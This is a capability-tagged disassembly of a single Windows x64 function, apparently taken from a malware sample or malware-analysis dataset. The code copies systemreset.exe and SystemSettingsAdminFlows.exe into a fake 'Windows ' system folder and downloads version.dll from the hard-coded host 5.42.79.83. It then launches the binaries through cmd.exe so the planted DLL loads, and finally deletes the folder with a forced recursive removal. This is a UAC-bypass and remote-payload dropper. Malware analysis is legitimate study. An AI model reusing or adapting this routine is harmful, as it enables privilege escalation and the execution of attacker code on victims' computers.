Function at 0x140002230
Capabilities:
Copy file
Create directory
Create process on windows
Download url
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x17b0]
mov eax, 0x18b0
call fcn.140006290
sub rsp, rax
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x17a0], rax
xor r15d, r15d
mov dword [rsp + 0x70], r15d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], rax
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x140007930]
movdqa xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r15w
lea r8d, [r15 + 0xf]
lea rdx, str.systemreset.exe
lea rcx, [rbp - 0x40]
call fcn.140003890
nop
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x140007930]
movdqa xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r15w
lea r8d, [r15 + 0x1c]
lea rdx, str.SystemSettingsAdminFlows.exe
lea rcx, [rbp - 0x20]
call fcn.140003890
nop
lea rax, [rbp - 0x40]
mov qword [rbp + 0x40], rax
lea rax, [rbp]
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x138]
call fcn.1400034a0
nop
lea r9, [fcn.140001850]
lea edx, [r15 + 0x20]
lea r8d, [r15 + 2]
lea rcx, [rbp - 0x40]
call fcn.14000539c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
mov qword [rbp - 0x80], r15
movdqa xmm0, xmmword [0x140007930]
movdqa xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r15w
lea r8d, [r15 + 0xb]
lea rdx, str.version.dll
lea rcx, [rbp - 0x80]
call fcn.140003890
nop
mov qword [rbp - 0x60], r15
movdqa xmm0, xmmword [0x140007930]
movdqa xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r15w
lea r8d, [r15 + 0xb]
lea rdx, str.version.dll
lea rcx, [rbp - 0x60]
call fcn.140003890
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.1400034a0
nop
lea r9, [fcn.140001850]
lea edx, [r15 + 0x20]
lea r8d, [r15 + 2]
lea rcx, [rbp - 0x80]
call fcn.14000539c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x150], 0x68
mov esi, 1
mov dword [rbp + 0x18c], esi
mov word [rbp + 0x190], r15w
mov edx, 0x104
lea rcx, [rbp + 0x1590]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
lea rax, [rbp + 0x1590]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140002452
lea rdx, [rbp + 0x1590]
lea rcx, [rbp + 0x100]
call fcn.140003890
nop
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 7
mov word [rbp + 0xa0], r15w
mov r8d, 3
cmp qword [rbp + 0x110], r8
cmovb r8, qword [rbp + 0x110]
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 8
cmovae rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0xa0]
call fcn.140003890
nop
lea r8, [rbp + 0xa0]
lea rdx, str.__
lea rcx, [rbp + 0xe0]
call fcn.140003e60
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x14000252d
lea r14, [rcx + 0x11]
mov qword [rbx + 0x10], r14
mov rdi, rbx
cmp rdx, 8
jb 0x140002510
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x22
lea rdx, str.Windows_System32
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + r14*2], r15w
jmp 0x14000254d
mov qword [rsp + 0x20], 0x11
lea r9, str.Windows_System32
mov edx, 0x11
mov rcx, rbx
call fcn.1400042d0
mov rbx, rax
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x1400025d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 7
mov word [rbp + 0xe0], r15w
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rdx, qword [rbp + 0x80]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
mov r8, qword [rbp + 0x90]
lea rcx, [rsp + 0x50]
call fcn.140003890
nop
mov edi, 0x3d
mov dword [rsp + 0x70], edi
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov r9d, 0xffffffff
lea r8d, [rdi - 0x3a]
lea rdx, [rbp + 0x60]
call fcn.140005038
mov edx, eax
lea ebx, [rdi - 0x33]
test eax, eax
jne 0x140002690
mov ecx, dword [rbp + 0x70]
bt ecx, 0xa
jae 0x140002685
mov eax, dword [rbp + 0x74]
cmp eax, 0xa000000c
jne 0x14000267a
lea ecx, [rdi - 0x39]
jmp 0x1400026a9
cmp eax, 0xa0000003
jne 0x140002685
mov ecx, ebx
jmp 0x1400026a9
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x1400026a9
sub eax, 2
je 0x1400026a7
sub eax, 1
je 0x1400026a7
sub eax, 0x32
je 0x1400026a7
cmp eax, 0x46
mov ecx, r15d
jne 0x1400026a9
mov ecx, esi
mov dword [rbp + 0x40], edx
lea rax, [0x14000a050]
mov qword [rbp + 0x48], rax
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
test ecx, ecx
je 0x14000279e
cmp ecx, 1
je 0x1400027a6
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rdx, qword [rbp + 0x80]
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r15w
mov r8, qword [rbp + 0x90]
lea rcx, [rbp + 0x18]
call fcn.140003890
nop
mov edi, 0xff
mov dword [rsp + 0x70], edi
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rcx, qword [rbp + 0x18]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x60]
call fcn.140005038
mov edx, eax
test eax, eax
jne 0x140002775
mov ecx, dword [rbp + 0x70]
bt ecx, 0xa
jae 0x140002768
mov eax, dword [rbp + 0x74]
cmp eax, 0xa000000c
jne 0x140002761
mov ebx, 4
cmp ebx, 3
jne 0x1400027a6
mov bl, 1
jmp 0x1400027a8
cmp eax, 0xa0000003
je 0x140002758
mov ebx, ecx
and ebx, 0x10
or ebx, 0x20
shr ebx, 4
jmp 0x140002758
sub eax, 2
je 0x14000278c
sub eax, 1
je 0x14000278c
sub eax, 0x32
je 0x14000278c
cmp eax, 0x46
mov ebx, r15d
jne 0x14000278e
mov ebx, esi
lea eax, [rbx - 1]
test eax, 0xfffffff7
jne 0x14000332e
jmp 0x140002758
test edx, edx
jne 0x14000331f
xor bl, bl
test dil, 2
je 0x140002806
and edi, 0xfffffffd
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x1400027f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
movdqa xmm0, xmmword [0x140007930]
movdqu xmmword [rbp + 0x28], xmm0
mov word [rbp + 0x18], r15w
test dil, 1
je 0x140002851
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140002851
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000284c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
test bl, bl
je 0x140002b54
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
mov r8d, 4
lea rdx, str.__
lea rcx, [rsp + 0x50]
call fcn.140003890
nop
lea r8, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call fcn.140003d30
mov rbx, rax
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 8
cmovae r9, qword [rbp + 0xa0]
mov rcx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rcx
mov rdx, qword [rbp + 0xb0]
cmp rdx, rax
ja 0x1400028f7
lea r14, [rcx + rdx]
mov qword [rbx + 0x10], r14
mov rdi, rbx
cmp r8, 8
jb 0x1400028e0
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + r14*2], r15w
jmp 0x140002907
mov qword [rsp + 0x20], rdx
mov rcx, rbx
call fcn.1400042d0
mov rbx, rax
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1b
jb 0x14000297c
lea rdi, [rcx + 0x1b]
mov qword [rbp + 0x50], rdi
lea rbx, [rbp + 0x40]
cmp rdx, 8
cmovae rbx, qword [rbp + 0x40]
lea rcx, [rbx + rcx*2]
mov r8d, 0x36
lea rdx, str.Windows___Force__Recurse_
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r15w
lea rax, [rbp + 0x40]
jmp 0x14000299a
mov qword [rsp + 0x20], 0x1b
lea r9, str.Windows___Force__Recurse_
mov edx, 0x1b
lea rcx, [rbp + 0x40]
call fcn.1400042d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x1400029fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r15w
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x140002a50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r15w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140002aa6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rdx, qword [rbp + 0x18]
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x140002b54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1584], 0xffffffff
mov dword [rbp + 0x204], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, esi
mov dword [rbp + rsi*4 + 0x204], eax
inc rsi
cmp rsi, 0x270
jb 0x140002b70
mov dword [rbp + 0x200], 0x270
mov rbx, qword [rbp + 0x128]
sub rbx, qword [rbp + 0x120]
sar rbx, 5
dec ebx
cmp ebx, 0x80000000
jb 0x140002bcd
cmp ebx, 0xffffffff
jne 0x140002bcd
lea rcx, [rbp + 0x200]
call fcn.140004d40
mov edx, eax
jmp 0x140002c0e
lea edi, [rbx + 1]
mov r8d, r15d
mov eax, r15d
test ebx, ebx
je 0x140002bee
lea rcx, [rbp + 0x200]
call fcn.140004d40
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov ecx, eax
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x140002c07
cmp r9d, ebx
jne 0x140002bd0
xor edx, edx
mov eax, r8d
div edi
movsxd rbx, edx
shl rbx, 5
mov rdx, qword [rbp + 0x138]
add rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.140003630
nop
mov rdx, qword [rbp + 0x120]
add rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.140003630
nop
lea r8, str.Windows__
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x60]
call fcn.1400040a0
cmp qword [rax + 0x18], 8
jb 0x140002c64
mov rax, qword [rax]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x140002cb2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rcx, qword [rbp + 0x80]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [0x1400077e4]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x40]
call fcn.1400040a0
mov rbx, rax
mov rdx, qword [rbp + 0xd0]
lea r9, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae r9, qword [rbp + 0xc0]
mov rcx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x140002d47
lea rsi, [rcx + rdx]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp r8, 8
jb 0x140002d30
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r15w
jmp 0x140002d57
mov qword [rsp + 0x20], rdx
mov rcx, rbx
call fcn.1400042d0
mov rbx, rax
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea rsi, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rsi, qword [rbp + 0x18]
lea r8, [0x1400077e4]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x60]
call fcn.1400040a0
mov rbx, rax
mov rdx, qword [rbp + 0xd0]
lea r9, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae r9, qword [rbp + 0xc0]
mov rcx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x140002e06
lea r14, [rcx + rdx]
mov qword [rbx + 0x10], r14
mov rdi, rbx
cmp r8, 8
jb 0x140002def
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + r14*2], r15w
jmp 0x140002e16
mov qword [rsp + 0x20], rdx
mov rcx, rbx
call fcn.1400042d0
mov rbx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140002e99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x140002ef0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002eeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r15w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x140002f44
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x140002f98
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005474
lea r8, [0x1400077e4]
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x50]
call fcn.1400040a0
mov rbx, rax
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae r9, qword [rbp + 0xe0]
mov rcx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rcx
mov rdx, qword [rbp + 0xf0]
cmp rdx, rax
ja 0x14000300f
lea rsi, [rcx + rdx]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp r8, 8
jb 0x140002ff8
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r15w
jmp 0x14000301f
mov qword [rsp + 0x20], rdx
mov rcx, rbx
call fcn.1400042d0
mov rbx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea rcx, [rbp + 0x60]
call fcn.1400035e0
mov r8, rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.http:__5.42.79.83_version.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, [rbp + 0x60]
call fcn.140001850
nop
lea rcx, [rsp + 0x50]
call fcn.140001850
lea r8, [rbp + 0xa0]
lea rdx, str.cmd.exe__c__
lea rcx, [rbp + 0x40]
call fcn.140003e60
nop
lea r8, str.Windows_System32_
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140003fe0
nop
lea r8, [rbp + 0xc0]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140004220
nop
lea r8, [0x1400077e8]
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140003fe0
nop
lea rcx, [rsp + 0x50]
call fcn.140001850
nop
lea rcx, [rbp + 0x18]
call fcn.140001850
nop
lea rcx, [rbp + 0x40]
call fcn.140001850
lea rcx, [rbp + 0x1e0]
call fcn.1400035e0
mov rdx, rax
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f4
sub ecx, eax
add ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc0]
call fcn.1400035e0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400035f0
nop
lea rcx, [rbp + 0x60]
call fcn.140002040
nop
lea rcx, [rbp + 0x60]
call fcn.140001850
lea rdx, str.__
lea rcx, [rbp - 0x40]
call fcn.1400035f0
nop
mov r8, rax
lea rcx, [rbp - 0x80]
call fcn.140003d30
nop
lea r8, [rbp + 0xa0]
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140004220
nop
lea r8, str.Windows___Force__Recurse_
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140003fe0
nop
lea rcx, [rbp + 0x60]
call fcn.140001850
nop
lea rcx, [rbp - 0x80]
call fcn.140001850
nop
lea rcx, [rbp - 0x40]
call fcn.140001850
lea rcx, [rbp + 0x1c0]
call fcn.1400035e0
mov rdx, rax
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1c0]
call fcn.140001850
nop
lea rcx, [rbp + 0x1e0]
call fcn.140001850
nop
lea rcx, [rbp + 0xe0]
call fcn.140001850
nop
lea rcx, [rbp + 0xc0]
call fcn.140001850
nop
lea rcx, [rbp + 0x80]
call fcn.140001850
nop
lea rcx, [rbp + 0xa0]
call fcn.140001850
nop
lea rcx, [rbp + 0x100]
call fcn.140001850
nop
lea rcx, [rbp + 0x120]
call fcn.140003430
nop
lea rcx, [rbp + 0x138]
call fcn.140003430
mov rcx, qword [rbp + 0x17a0]
xor rcx, rsp
call fcn.140005340
lea r11, [rsp + 0x18b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x40]
call fcn.140001fe0
nop
lea r8, [rbp + 0x18]
call fcn.140001f70
int3